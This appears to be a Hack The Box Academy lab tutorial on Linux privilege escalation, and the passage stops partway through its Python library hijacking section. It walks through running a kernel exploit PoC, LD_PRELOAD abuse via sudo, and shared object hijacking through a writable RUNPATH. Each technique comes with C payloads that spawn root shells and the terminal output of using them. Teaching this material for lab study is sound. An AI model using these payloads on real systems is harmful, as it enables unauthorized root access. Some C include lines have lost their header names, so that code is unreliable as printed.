Kernel Exploits
Kernel level exploits exist for a variety of Linux kernel versions. A very well-known example is Dirty COW (CVE-2016-5195). These leverage vulnerabilities in the kernel to execute code with root privileges. It is very common to find systems that are vulnerable to kernel exploits. It can be hard to keep track of legacy systems, and they may be excluded from patching due to compatibility issues with certain services or applications.
Privilege escalation using a kernel exploit can be as simple as downloading, compiling, and running it. Some of these exploits work out of the box, while others require modification. A quick way to identify exploits is to issue the command uname -a and search Google for the kernel version.
Note: Kernel exploits can cause system instability so use caution when running these against a production system.
Kernel Exploit Example
Let's start by checking the Kernel level and Linux OS version.
Kernel Exploits
sasorirose@htb[/htb]$ uname -aLinux NIX02 4.4.0-116-generic#140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/LinuxKernel Exploits
sasorirose@htb[/htb]$ cat /etc/lsb-release DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"
We can see that we are on Linux Kernel 4.4.0-116 on an Ubuntu 16.04.4 LTS box. A quick Google search for linux 4.4.0-116-generic exploit comes up with this exploit PoC. Next download, it to the system using wget or another file transfer method. We can compile the exploit code using gcc and set the executable bit using chmod +x.
Kernel Exploits
sasorirose@htb[/htb]$ gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploitNext, we run the exploit and hopefully get dropped into a root shell.
Kernel Exploits
sasorirose@htb[/htb]$ ./kernel_exploit task_struct = ffff8800b71d7000
uidptr = ffff8800b95ce544
spawning root shell
Finally, we can confirm root access to the box.
Kernel Exploits
root@htb[/htb]# whoami
rootShared Libraries
It is common for Linux programs to use dynamically linked shared object libraries. Libraries contain compiled code or other data that developers use to avoid having to re-write the same pieces of code across multiple programs. Two types of libraries exist in Linux: static libraries (denoted by the .a file extension) and dynamically linked shared object libraries (denoted by the .so file extension). When a program is compiled, static libraries become part of the program and can not be altered. However, dynamic libraries can be modified to control the execution of the program that calls them.
There are multiple methods for specifying the location of dynamic libraries, so the system will know where to look for them on program execution. This includes the -rpath or -rpath-link flags when compiling a program, using the environmental variables LD_RUN_PATH or LD_LIBRARY_PATH, placing libraries in the /lib or /usr/lib default directories, or specifying another directory containing the libraries within the /etc/ld.so.conf configuration file.
Additionally, the LD_PRELOAD environment variable can load a library before executing a binary. The functions from this library are given preference over the default ones. The shared objects required by a binary can be viewed using the ldd utility.
Shared Libraries
htb_student@NIX02:~$ ldd /bin/ls linux-vdso.so.1 => (0x00007fff03bc7000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4186288000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4185ebe000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f4185c4e000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4185a4a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f41864aa000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f418582d000)
The image above lists all the libraries required by /bin/ls, along with their absolute paths.
LD_PRELOAD Privilege Escalation
Let's see an example of how we can utilize the LD_PRELOAD environment variable to escalate privileges. For this, we need a user with sudo privileges.
Shared Libraries
htb_student@NIX02:~$ sudo -lMatching Defaults entries for daniel.carter on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User daniel.carter may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/apache2 restart
This user has rights to restart the Apache service as root, but since this is NOT a GTFOBin and the /etc/sudoers entry is written specifying the absolute path, this could not be used to escalate privileges under normal circumstances. However, we can exploit the LD_PRELOAD issue to run a custom shared library file. Let's compile the following library:
Code: c
#include #include #include #include void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
We can compile this as follows:
Shared Libraries
htb_student@NIX02:~$ gcc -fPIC -shared -o root.so root.c -nostartfilesFinally, we can escalate privileges using the below command. Make sure to specify the full path to your malicious library file.
Shared Libraries
htb_student@NIX02:~$ sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restartid
uid=0(root) gid=0(root) groups=0(root)Shared Object Hijacking
Programs and binaries under development usually have custom libraries associated with them. Consider the following SETUID binary.
Shared Object Hijacking
htb-student@NIX02:~$ ls -la payroll
-rwsr-xr-x 1 root root 16728 Sep 1 22:05 payroll
We can use ldd to print the shared object required by a binary or shared object. Ldd displays the location of the object and the hexadecimal address where it is loaded into memory for each of a program's dependencies.
Shared Object Hijacking
htb-student@NIX02:~$ ldd payroll
linux-vdso.so.1 => (0x00007ffcb3133000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
We see a non-standard library named libshared.so listed as a dependency for the binary. As stated earlier, it is possible to load shared libraries from custom locations. One such setting is the RUNPATH configuration. Libraries in this folder are given preference over other folders. This can be inspected using the readelf utility.
Shared Object Hijacking
htb-student@NIX02:~$ readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development]
The configuration allows the loading of libraries from the /development folder, which is writable by all users. This misconfiguration can be exploited by placing a malicious library in /development, which will take precedence over other folders because entries in this file are checked first (before other folders present in the configuration files).
Shared Object Hijacking
htb-student@NIX02:~$ ls -la /development/total 8
drwxrwxrwx 2 root root 4096 Sep 1 22:06 ./
drwxr-xr-x 23 root root 4096 Sep 1 21:26 ../
Before compiling a library, we need to find the function name called by the binary.
Shared Object Hijacking
htb-student@NIX02:~$ ldd payrolllinux-vdso.so.1 (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)
Shared Object Hijacking
htb-student@NIX02:~$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.soShared Object Hijacking
htb-student@NIX02:~$ ./payroll ./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
We can copy an existing library to the development folder. Running ldd against the binary lists the library's path as /development/libshared.so, which means that it is vulnerable. Executing the binary throws an error stating that it failed to find the function named dbquery. We can compile a shared object which includes this function.
Code: c
#include#include#includevoid dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}
The dbquery function sets our user id to 0 (root) and executing /bin/sh when called. Compile it using GCC.
Shared Object Hijacking
htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.soExecuting the binary again should display the banner and pops a root shell.
Shared Object Hijacking
htb-student@NIX02:~$ ./payroll ***************Inlane Freight Employee Database***************
Malicious library loaded
# iduid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)
Python Library Hijacking
Python is one of the world's most popular and widely used programming languages and has already replaced many other programming languages in the IT industry. There are very many reasons why Python is so popular among programmers. One of them is that users can work with a vast collection of libraries.
Many libraries are used in Python and are used in many different fields. One of them is NumPy. NumPy is an open-source extension for Python. The module provides precompiled functions for numerical analysis. In particular, it allows easy handling of extensive lists and matrices. However, it offers many other essential features, such as functions of random number generation, Fourier transform, linear algebra, and many others. Furthermore, NumPy provides many mathematical functions for working with arrays and matrices.
Another library is Pandas. Pandas is a library for data processing and data analysis with Python. It extends Python with data structures and functions for processing data tables. A particular strength of Pandas is time series analysis.
Python has the Python standard library, with many modules on board from a standard installation of Python. These modules provide many solutions that would otherwise have to be laboriously worked out by writing our programs. There are countless hours of saved work here if one has an overview of the available modules and their possibilities. The modular system is integrated into this form for performance reasons. If one would automatically have all possibilities immediately available in the basic installation of Python without importing the corresponding module, the speed of all Python programs would suffer greatly.
In Python, we can import modules quite easily:
Importing Modules
#!/usr/bin/env python3
# Method 1
import pandas
# Method 2
from pandas import *
# Method 3
from pandas import Series
There are many ways in which we can hijack a Python library. Much depends on the script and its contents itself. However, there are three basic vulnerabilities where hijacking can be used:
- Wrong write permissions
- Library Path
- PYTHONPATH environment variable
Wrong Write Permissions
For example, we can imagine that we are in a developer's host on the company's intranet and that the developer is working with python. So we have a total of three components that are connected. This is the actual python script that imports a python module and the privileges of the script as well as the permissions of the module.
One or another python module may have write permissions set for all users by mistake. This allows the python module to be edited and manipulated so that we can insert commands or functions that will produce the results we want. If SUID/SGID permissions have been assigned to the Python script that imports this module, our code will automatically be included.
If we look at the set permissions of the mem_status.py script, we can see that it has a SUID set.
Python Script
htb-student@lpenix:~$ ls -l mem_status.py-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
So we can execute this script with the privileges of another user, in our case, as root. We also have permission to view the script and read its contents.
Python Script - Contents
#!/usr/bin/env python3
import psutil
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")
So this script is quite simple and only shows the available virtual memory in percent. We can also see in the second line that this script imports the module psutil and uses the function virtual_memory().
So we can look for this function in the folder of psutil and check if this module has write permissions for us.